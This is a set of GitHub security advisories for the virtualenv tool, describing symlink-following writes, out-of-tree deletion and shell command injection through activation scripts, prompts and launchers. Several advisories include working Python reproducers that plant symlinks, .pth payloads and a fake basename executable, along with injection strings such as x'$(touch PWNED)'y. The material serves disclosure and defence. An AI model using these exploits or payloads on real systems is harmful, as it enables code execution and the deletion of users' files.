text #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path

work = Path("/tmp/repro-seed-uninstall") shutil.rmtree(work, ignoreerrors=True) USERFILES = ("Documents/thesis/chapter1.txt", "notes.txt")

def makehome(name): home = work / name (home / "Documents" / "thesis").mkdir(parents=True) (home / "Documents" / "thesis" / "chapter1.txt").writetext("months of work\n") (home / "notes.txt").writetext("my notes\n") return home

def unpackattackerproject(home, toplevelline, recordline): subprocess.run( [sys.executable, "/tmp/repro.d/makeprojecttree.py", home / "project", toplevelline, recordline], check=True, )

def userrunsvirtualenv(home): # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline result = subprocess.run( ["virtualenv", "--no-periodic-update", ".venv"], cwd=home / "project", env={os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, text=True, check=True, ) print(result.stdout, end="")

def filesleft(home): return [f for f in USERFILES if (home / f).exists()]

control: the project ships well-formed pip metadata controlhome = makehome("control") unpackattackerproject(controlhome, "pip", "pip/init.py,,") userrunsvirtualenv(controlhome) controlleft = filesleft(controlhome) print(f"CONTROL user files still in ~ after virtualenv: {controlleft}")

attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~ attackhome = makehome("attack") unpackattackerproject(attackhome, "../../../../../Documents", "../../../../../notes.txt,,") print(f"BEFORE user files in ~ before virtualenv: {filesleft(attackhome)}") userrunsvirtualenv(attackhome) attackleft = filesleft(attackhome) print(f"OBSERVED user files still in ~ after virtualenv: {attackleft}")

check: creating an environment must never delete the user's files outside it print("BUG" if controlleft == list(USERFILES) and attackleft == [] else "OK")

repro.d/makeprojecttree.py

text #!/usr/bin/env python3 import sys from pathlib import Path

project = Path(sys.argv[1]) toplevelline = sys.argv[2] recordline = sys.argv[3]

project.mkdir(parents=True) (project / "README").writetext("Set up with: virtualenv .venv\n")

a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown for minor in range(9, 16): distinfo = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info" distinfo.mkdir(parents=True) (distinfo / "toplevel.txt").writetext(toplevelline + "\n") (distinfo / "RECORD").writetext(recordline + "\n")

Impact

Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.

Fix: PR #3428.

Known mitigation

Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.

1 / 3
Source: GitHub
First published (updated )
Severity
4.5
AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Summary

The builtin creator accepts existing directory symlinks through ensuredir() and writes environment files through those directories. This permits writes outside the requested destination.

Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Directory preparation before environment files are created.

Attacker-controlled input

Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

Affected code

The relevant 21.14.8 source is in builtin creator, ensuredir().

Mechanism

The builtin creator calls ensuredir() for bin, lib, and package directories. ensuredir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

Reproduction and evidence

The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python, pip, and activate into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

Attack sequence

mermaid sequenceDiagram participant A as Prepared destination participant V as Builtin creator participant L as venv/bin symlink participant H as ~/.local/bin participant U as User A->>L: point to ../../.local/bin V->>L: ensuredir accepts existing directory link V->>H: write python, pip and activate files through link V-->>U: creation reports success U->>H: run pip found on PATH H->>A: interpreter loads planted .pth A-->>U: marker created

Reproducer files

The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path

WORK = Path("/tmp/planted-bin-link") shutil.rmtree(WORK, ignoreerrors=True)

def usercreatesvenvincheckoutthenrunspip(home, makecheckout): localbin = home / ".local/bin" userenv = {"HOME": str(home), "PATH": f"{localbin}:{os.environ['PATH']}"} localbinbefore = set(os.listdir(localbin)) payloadmarker = home / "PWNED"

# the attacker's checkout arrives at ~/project subprocess.run([sys.executable, f"/tmp/repro.d/{makecheckout}", home / "project"], check=True) venv = home / "project/venv" print(f"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")

# default options; the flag only keeps the run off the network subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=userenv, check=True) written = sorted(set(os.listdir(localbin)) - localbinbefore) payloadranatcreation = payloadmarker.exists() print(f"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}") print(f"OBSERVED virtualenv wrote to {localbin}: {written}") print(f"OBSERVED ~/PWNED exists after virtualenv: {payloadranatcreation}")

# later, in another folder, the user runs pip pip = subprocess.run(["pip", "--version"], cwd=home, env=userenv, captureoutput=True, text=True) print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}") print(f"OBSERVED ~/PWNED exists after pip: {payloadmarker.exists()}") return written, payloadmarker.exists() and not payloadranatcreation

print("--- checkoutwithbinlink.py: venv/bin -> ../../.local/bin") home = WORK / "bin-link" (home / ".local/bin").mkdir(parents=True) written1, pipranpayload1 = usercreatesvenvincheckoutthenrunspip(home, "checkoutwithbinlink.py")

print("--- checkoutwithbinlinkstayinginside.py: venv/bin resolves inside venv/ until pip is seeded") home = WORK / "bin-link-staying-inside" (home / ".local/bin").mkdir(parents=True) python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there (home / ".local/bin/python").symlinkto("/usr/local/bin/python3") written2, pipranpayload2 = usercreatesvenvincheckoutthenrunspip(home, "checkoutwithbinlinkstayinginside.py")

check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth plainlinkfollowed = {"pip", "activate"} <= set(written1) and pipranpayload1 linkstayinginsidefollowed = {"pip", "activate"} <= set(written2) and pipranpayload2 print("---") print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plainlinkfollowed}") print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {linkstayinginsidefollowed}") print("BUG" if plainlinkfollowed or linkstayinginsidefollowed else "OK")

repro.d/checkoutwithbinlink.py

text import sys from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

one per minor version: the attacker does not know which Python the user has for minor in range(9, 20): sitepackages = venv / f"lib/python3.{minor}/site-packages" sitepackages.mkdir(parents=True) (sitepackages / "payload.pth").writetext("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")

relative to a checkout at ~/project (venv / "bin").symlinkto("../../.local/bin")

repro.d/checkoutwithbinlinkstayinginside.py

text import sys from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

sitepackages = venv / "lib/py/site-packages" sitepackages.mkdir(parents=True) (sitepackages / "payload.pth").writetext("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n") for minor in range(9, 20): (venv / f"lib/python3.{minor}").symlinkto("py")

pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below (venv / "1/2/3/4/5/6/7").mkdir(parents=True) (sitepackages / "pip").symlinkto("../../../1/2/3/4/5/6/7")

six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~ (venv / "1/.local/bin").mkdir(parents=True) (venv / "bin").symlinkto("lib/py/site-packages/pip" + "/.." 6 + "/.local/bin")

Impact

Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

Fix: PR #3429.

Known mitigation

Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
OS Command Injection, Code Injection
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Impact

ViaTemplateActivator.instantiatetemplate replaces the placeholders in an activation template one key at a time, each across the whole text. When a value that it already substituted and quoted contains the name of a later placeholder, the later pass rewrites that name inside the quoted literal. The inserted value brings its own quotes, which close the outer literal, and the rest of the path runs as code when a user activates the environment.

VIRTUALNAME holds the environment's directory name, so a destination such as AVIRTUALNAMEB/x'$(touch PWNED)'y is enough. In the default activate for bash, the VIRTUALENV line renders as:

sh VIRTUALENV='/tmp/t/A'x'"'"'$(touch PWNED)'"'"'y'B/x'"'"'$(touch PWNED)'"'"'y'

Sourcing that script runs touch PWNED. The same payload in a path without the placeholder name runs nothing. activate.fish runs the command the same way, and the reporter also showed Python code execution through activate.xsh and bin/activatethis.py. In activate.csh, a directory named after a prompt display placeholder, such as VIRTUALPROMPTDISPLAYTCSH, breaks the script with Unmatched '''.

No change to quote() can stop this, because the rewrite happens after quote() ran; it defeats shlex.quote and repr() alike.

An attacker needs to influence the destination path or --prompt: a CI job or wrapper tool that builds the path from a branch or project name, or a directory in a cloned repository or unpacked archive.

The bug affects versions 20.26.6 through 21.14.1. Version 20.26.6 first quoted template values (#2768) and introduced the per-key loop.

Patches

Fixed in 21.14.2. Activation scripts now keep a placeholder name in the environment's path or prompt as plain text, and activating the example above runs nothing. Fix: https://github.com/pypa/virtualenv/commit/602b26623a724827ff171bf11fef4ad186d01f74

Workarounds

Do not create an environment whose path or --prompt contains a placeholder name such as VIRTUALNAME, VIRTUALENV or VIRTUALPROMPT, and inspect the generated activation script before you source one you did not create.

Credits

Kevin Stubbings (@Kwstubbs) of GitHub Security Lab reported this issue.

1 / 3
Source: GitHub
First published (updated )
Severity
7.8
OS Command Injection
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

The bash activate script escapes the environment name for only one of the two passes bash makes over PS1, so a backslash in the name undoes the escaping and a name containing \$(...) runs as commands in the user's shell each time bash draws the prompt.

Affected area

src/virtualenv/activation/bash/activate.sh, the block that prepends the environment name to PS1.

Attacker-controlled input

The environment name: the environment directory's name, or the --prompt or VIRTUALENVPROMPT value. An attacker needs to influence it, for example through a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive. --prompt . takes the current directory's name.

Details

bash handles PS1 in two passes each time it draws the prompt: it first decodes backslash prompt escapes, turning \\ into \ and \$ into $ (or # for root), and then runs parameter expansion, command substitution and arithmetic expansion on the result. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in the name, but only for the second pass, so the decode pass strips the escaping that a backslash in the name precedes. Releases before 21.13.0 do not escape the name at all. A bash running as root decodes \$ to #, so the payload shows the wrong text there but runs nothing. zsh does no decode pass and is not affected.

Proof of concept

console $ virtualenv --prompt 'a\$(touch PWNED)' env $ bash --norc --noprofile -c 'source env/bin/activate; printf "%s" "${PS1@P}"' $ ls PWNED PWNED

Impact

Arbitrary command execution in the shell of a user who sources the activate script of an environment whose name an attacker influenced, with that user's privileges, once per prompt draw.

Versions tested

21.14.6 with bash 5.2.15 on Debian bookworm, as an unprivileged user and as root.

Known mitigation

Set VIRTUALENVDISABLEPROMPT=1 before you source activate, which leaves PS1 alone, or run shopt -u promptvars if your prompt does not need expansion. Check the name of an environment you did not create before you source its activate.

Latest release

- [x] The problem reproduces on the latest virtualenv release.

21.14.6

Patches

Fixed in 21.14.7. Under bash, activate now escapes backslashes, dollar signs and backticks for both passes, so the example above runs nothing and the prompt shows the name as given. zsh keeps the single escaping it needs. Fix: https://github.com/pypa/virtualenv/commit/c3104e02474b652832a9bbaae79f6e1696296932

Credits

Found while running the virtualenv test suite as root inside the Anthropic OSS Scanner build image.

1 / 3
Source: GitHub
First published (updated )
Severity
4.5
Code Injection
AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Summary

Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the existing path directly.

Anthropic's OSS Scanner reported this as ANT-2026-XBEOCBS1 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Final file entries written during environment creation and seeding.

Attacker-controlled input

Another account must be able to prepare file links in the destination before creation. The invoking user must have write permission at the linked target. The destination parent must remain controlled during creation; concurrent parent-directory replacement is a separate concern.

Affected code

The relevant 21.14.8 source is in template writer, configuration writer.

Mechanism

ViaTemplateActivator.generate() removes an existing output only when Path.exists() is true. A dangling symlink therefore survives, and writebytes() creates its target outside the environment. Other generated files have related final-entry behavior. PyEnvCfg.write() opens pyvenv.cfg without first replacing an existing link; a symlink or hard link there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's permission to write the linked target.

Reproduction and evidence

The scanner's project tree contains venv/bin/activate -> ../../../.bashaliases and an executable venv/bin/basename. Before creation, a new interactive bash does not create the marker. A plain virtualenv venv writes the activation script through the dangling link, creating ~/.bashaliases as a regular file. Debian's stock .bashrc sources that file; the next interactive bash adds venv/bin to PATH and the planted basename writes the marker. The reproducer checks that the link remains, ~/.bashaliases appears, and the second shell executes the planted file. A separate manual check links pyvenv.cfg to ~/.bashrc and observes the latter replaced with generated configuration text.

The link lets creation write outside the requested environment. The attacker chooses the target path but the generated bytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not arbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first released in 20.0.0b1. PR #3431 replaces pre-existing output links and uses exclusive creation for generated text. It does not make a destination safe if another account can replace parent directories during creation.

Attack sequence

mermaid sequenceDiagram participant A as Prepared project tree participant V as virtualenv writer participant H as User home participant B as Next interactive bash A->>V: venv/bin/activate links to missing ~/.bashaliases V->>V: Path.exists() follows link and returns false V->>H: write activation bytes through link H-->>B: ~/.bashaliases now exists B->>H: .bashrc sources ~/.bashaliases B->>A: PATH reaches planted venv/bin/basename A-->>B: marker created Note over V,H: pyvenv.cfg can also overwrite an existing linked target

Reproducer files

The following files are from the scanner report for ANT-2026-XBEOCBS1. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import os import shutil import subprocess import sys import tempfile

set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bashaliases when that file exists home = tempfile.mkdtemp(prefix="home-") shutil.copy("/etc/skel/.bashrc", f"{home}/.bashrc") bashaliases = f"{home}/.bashaliases" marker = f"{home}/attacker-ran" openterminal = ["bash", "-i", "-c", "true"] terminalenv = {"HOME": home, "PATH": "/usr/bin:/bin", "TERM": "dumb"}

the attacker's repository, cloned by the user to ~/proj checkout = f"{home}/proj" subprocess.run([sys.executable, "/tmp/repro.d/makehostilecheckout.py", checkout], check=True) activate = f"{checkout}/venv/bin/activate" print("shipped: venv/bin/activate ->", os.readlink(activate), flush=True)

a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns) subprocess.run(openterminal, env=terminalenv, stderr=subprocess.DEVNULL, check=True) print("before virtualenv: ~/.bashaliases exists:", os.path.lexists(bashaliases), "| marker exists:", os.path.exists(marker), flush=True) assert not os.path.lexists(bashaliases) and not os.path.exists(marker)

trigger: the user creates an environment in the checkout, then opens a new terminal subprocess.run(["virtualenv", "--no-periodic-update", "venv"], cwd=checkout, env={os.environ, "HOME": home}, check=True) subprocess.run(openterminal, env=terminalenv, stderr=subprocess.DEVNULL, check=True)

check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bashaliases print("venv/bin/activate is still the symlink:", os.path.islink(activate)) writtenoutside = os.path.isfile(bashaliases) and not os.path.islink(bashaliases) print("~/.bashaliases created as a regular file:", writtenoutside) if writtenoutside: print(" its first line:", open(bashaliases).readline().rstrip()) attackercoderan = os.path.exists(marker) print("after a new terminal, marker exists:", attackercoderan) if attackercoderan: print(" it says:", open(marker).read().rstrip()) print("BUG" if writtenoutside and attackercoderan else "OK")

repro.d/fakebasename.sh

text #!/bin/sh echo "attacker code ran as $(id -un)" > "$HOME/attacker-ran" exec /usr/bin/basename "$@"

repro.d/makehostilecheckout.py

text import os import shutil import sys

checkout = sys.argv[1] bindir = os.path.join(checkout, "venv", "bin") os.makedirs(bindir)

venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bashaliases does not exist os.symlink("../../../.bashaliases", os.path.join(bindir, "activate"))

the bash activation script runs $(basename "$VIRTUALENV") right after putting venv/bin first on PATH fakebasename = os.path.join(bindir, "basename") shutil.copy(os.path.join(os.path.dirname(file), "fakebasename.sh"), fakebasename) os.chmod(fakebasename, 0o755)

Impact

Creation can overwrite or create files outside the requested environment with the invoking user's permissions. File contents are constrained by what virtualenv generates.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text files. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It then removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the configuration and ignore file paths. This also removes unrelated links directly in the executable directory. Final seed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib writes still require a destination protected from concurrent replacement.

Fix: PR #3431.

Known mitigation

Use a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-XBEOCBS1.

1 / 3
Source: GitHub
First published (updated )
Severity
7.8
OS Command Injection
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not preserve it as literal data in the shell wrapper.

Affected area

POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper. Windows executable launchers are not affected by this path.

Attacker-controlled input

An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.

Affected code

The relevant 21.14.8 source is in ScriptMakerCustom.

Mechanism

The app-data seeder passes the environment's interpreter path through enquoteexecutable() to distlib's ScriptMaker. It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path has a space or the shebang exceeds 127 bytes, distlib emits a #!/bin/sh wrapper with a line shaped like '''exec' "<path>" "$0" "$@". The shell expands $(...) and backticks in that path when the launcher is run. The same wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and activation do not trigger the shell payload.

Reproduction and evidence

The scanner created three environments: a control under my -touch PWNED- project, one under my $(touch PWNED) project, and one under a path of more than 127 bytes ending in $(touch${IFS}PWNED). Each was created without producing PWNED. Running the generated bin/pip --version created PWNED in both attack cases; the control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the generated launcher, with the user's privileges, rather than during seeding.

The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2. PR #3417 quotes the raw interpreter path for the POSIX wrapper and repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up review reports that later path separately.

Attack sequence

mermaid sequenceDiagram participant A as Destination supplier participant V as virtualenv seeder participant D as distlib ScriptMaker participant S as Generated bin/pip participant U as User A->>V: path contains $(touch PWNED) V->>D: pass interpreter path with incomplete shell quoting D->>S: write /bin/sh wrapper Note over V,S: no payload runs during creation or activation U->>S: pip --version S->>S: shell expands path and runs touch S-->>U: PWNED appears with user's privileges

Reproducer files

The following files are from the scanner report for ANT-2026-5DZVLGL1. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import shutil import subprocess from pathlib import Path

WORK = Path("/tmp/repro-console-script")

The attacker's whole input: the name of a directory above the environment (a repository, a project folder). DIRECTORYNAMES = { "CONTROL": "my -touch PWNED- project", "OBSERVED": "my $(touch PWNED) project", # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes "OBSERVEDLONG": "p" 120 + "$(touch${IFS}PWNED)", }

shutil.rmtree(WORK, ignoreerrors=True) pipprinted = {} createdbypip = {} for label, name in DIRECTORYNAMES.items(): # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory cwd = WORK / label / "cwd" venv = WORK / label / name / "venv" cwd.mkdir(parents=True)

# set up: the user creates an environment there with default options (--no-periodic-update keeps it offline) subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True) assert list(cwd.iterdir()) == [], "environment creation must not have created anything"

# trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, captureoutput=True, text=True) pipprinted[label] = pip.stdout createdbypip[label] = sorted(p.name for p in cwd.iterdir())

launcher = (venv / "bin" / "pip").readtext().splitlines() print(f"{label}: directory name {name!r}") print(f" bin/pip line 1: {launcher[0]}") print(f" bin/pip line 2: {launcher[1]}") print(f" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}") print(f" files bin/pip created in the working directory: {createdbypip[label]}")

check: a directory name is data; starting pip must run pip and nothing else controlok = pipprinted["CONTROL"].startswith("pip ") and createdbypip["CONTROL"] == [] attackran = createdbypip["OBSERVED"] == ["PWNED"] and createdbypip["OBSERVEDLONG"] == ["PWNED"] print("BUG" if controlok and attackran else "OK")

Fix scope and remaining exposure

PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's vendored distlib.

A later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing launchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to regenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip. The follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are attributed to the reviewer.

Impact

Running an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, following the project's generated-script precedent. The vector assumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are required; successful command execution can affect the user's data and processes.

Versions tested

The maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review records reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are unchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.

Known mitigation

Use an environment destination chosen by a trusted user. For older releases, avoid generating environments at destinations derived from untrusted input.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.

1 / 3
Source: GitHub
First published (updated )
Severity
7.8
OS Command Injection
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Impact

zsh users activate an environment with the bash activate script, which puts the environment name into PS1. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in that name, but only when BASHVERSION is set, so zsh gets the raw value. With the PROMPTSUBST option set, zsh runs parameter expansion, command substitution and arithmetic expansion on PS1 each time it draws the prompt. A name that contains $(...), backticks or ${...} then runs as commands in the user's shell, once per prompt.

The name comes from the environment directory, or from --prompt or VIRTUALENVPROMPT. After you create an environment with:

console $ virtualenv 'x$(touch PWNED)y'

source 'x$(touch PWNED)y/bin/activate' in a zsh session with PROMPTSUBST set creates PWNED, and the prompt shows (xy). Passing that value as --prompt to an environment with a plain name has the same effect. Without PROMPTSUBST, zsh shows the name as text and runs nothing. bash runs nothing either.

A plain zsh starts with PROMPTSUBST off. oh-my-zsh users have it on: oh-my-zsh loads lib/theme-and-appearance.zsh at startup, and that file sets it. An attacker needs to influence the environment path or prompt: a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive. --prompt . takes the current directory's name.

zsh also reads % in PS1 as a prompt escape, so a name with %n showed the user name in place of those characters, though without running commands.

The bug is in releases up to and including 21.14.3. The payload runs on 20.26.6 and 21.14.3, and the reporter confirmed 21.9.1.

Patches

Fixed in 21.14.4. Under zsh, activate now escapes the name the way it does under bash and doubles %, so the example above runs nothing and the prompt shows the name as given. zsh gets the escaping even when PROMPTSUBST is off, because a user can set the option after activation; a name with a backslash, dollar sign or backtick then shows the added backslashes. Fix: https://github.com/pypa/virtualenv/commit/5b915367da82bd024b2a0d28d2f98007034b4aa2

Workarounds

Set VIRTUALENVDISABLEPROMPT=1 before you source activate, which leaves PS1 alone, or run unsetopt promptsubst if your prompt does not need it. Check the name of an environment you did not create before you source its activate.

Credits

Kaya Emre Arikan (@kemrec) reported this issue.

1 / 3
Source: GitHub
First published (updated )
Severity
7.8
OS Command Injection
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Impact

FishActivator defines no quote(), so it inherits ViaTemplateActivator.quote, which returns shlex.quote(string). That function follows POSIX sh rules, where a backslash inside single quotes stays a literal character. fish reads \' inside single quotes as an escaped quote and \\ as an escaped backslash. A value with a backslash before a quote therefore ends the literal somewhere other than where shlex.quote put the end, and fish expands the command substitution that follows.

The environment path reaches set -gx VIRTUALENV, and --prompt or VIRTUALENVPROMPT reaches set -gx VIRTUALENVPROMPT. For --prompt "x\'\$(touch PWNED)'\'", the generated activate.fish contains:

fish set -gx VIRTUALENVPROMPT 'x\'"'"'$(touch PWNED)'"'"'\'"'"''

source bin/activate.fish runs touch PWNED, and fish prints no error. The same payload as a directory name runs through VIRTUALENV. --prompt . takes the current directory's name, so running virtualenv inside a directory someone else named is enough. Without the backslash the payload runs nothing, and under bash it runs nothing either.

virtualenv generates activate.fish by default. An attacker needs to influence the environment path or prompt: a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive.

The bug affects every release up to 21.14.1 that ships activate.fish. The GHSA-p58f-9548-mpm2 fix in 21.7.13 moved the placeholders outside their quotes but kept shlex.quote.

Patches

Fixed in 21.14.2. activate.fish now escapes backslashes and single quotes the way fish reads them, so the example above runs nothing and shows the prompt as given. Fix: https://github.com/pypa/virtualenv/commit/3bddeaf8d02c3ee7f576503efb082f8f494cfcab

Workarounds

Do not create an environment whose path or prompt contains a backslash, and inspect activate.fish before you source one you did not create.

Credits

Kevin Stubbings (@Kwstubbs) of GitHub Security Lab reported this issue.

1 / 3
Source: GitHub
First published (updated )
Severity
7.8
OS Command Injection
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Impact

The generated activate (bash/zsh) and activate.fish scripts interpolate a shlex.quote-ed value into a position that quotes it a second time. The extra quotes terminate the quoted run early and leave part of the value parsed as shell code, so a path containing shell metacharacters runs commands when a user sources the activation script.

activate is affected through the virtual environment's own path, on the branch that reports a relocated environment:

sh echo "Virtual environment directory VIRTUALENV does not exist!" >&2

For a destination named x'$(id)'y, shlex.quote emits 'x'"'"'$(id)'"'"'y'. The inner " closes the enclosing double quote and $(id) is left unquoted. Backtick and ; payloads reach the same result. This branch runs whenever the recorded path is absent, which is the normal case for a virtual environment copied or distributed to another machine.

activate.fish is affected through the interpreter's Tcl/Tk library paths:

fish set -gx TCLLIBRARY 'TCLLIBRARY'

shlex.quote already returns '/tcl/(cmd)/lib', so the rendered line is ''/tcl/(cmd)/lib''. fish concatenates the adjacent quoted runs and expands the (cmd) left between them. The same doubling also splits a path containing a space into two list elements, corrupting TCLLIBRARY and TKLIBRARY.

This is the same defect class as GHSA-x78j-v8h9-3j2q, which covered activate.bat.

Patches

Fixed in 21.7.13 by moving the placeholders outside the surrounding quotes, so each value keeps only the quoting shlex.quote applied. Fix: https://github.com/pypa/virtualenv/pull/3252

Workarounds

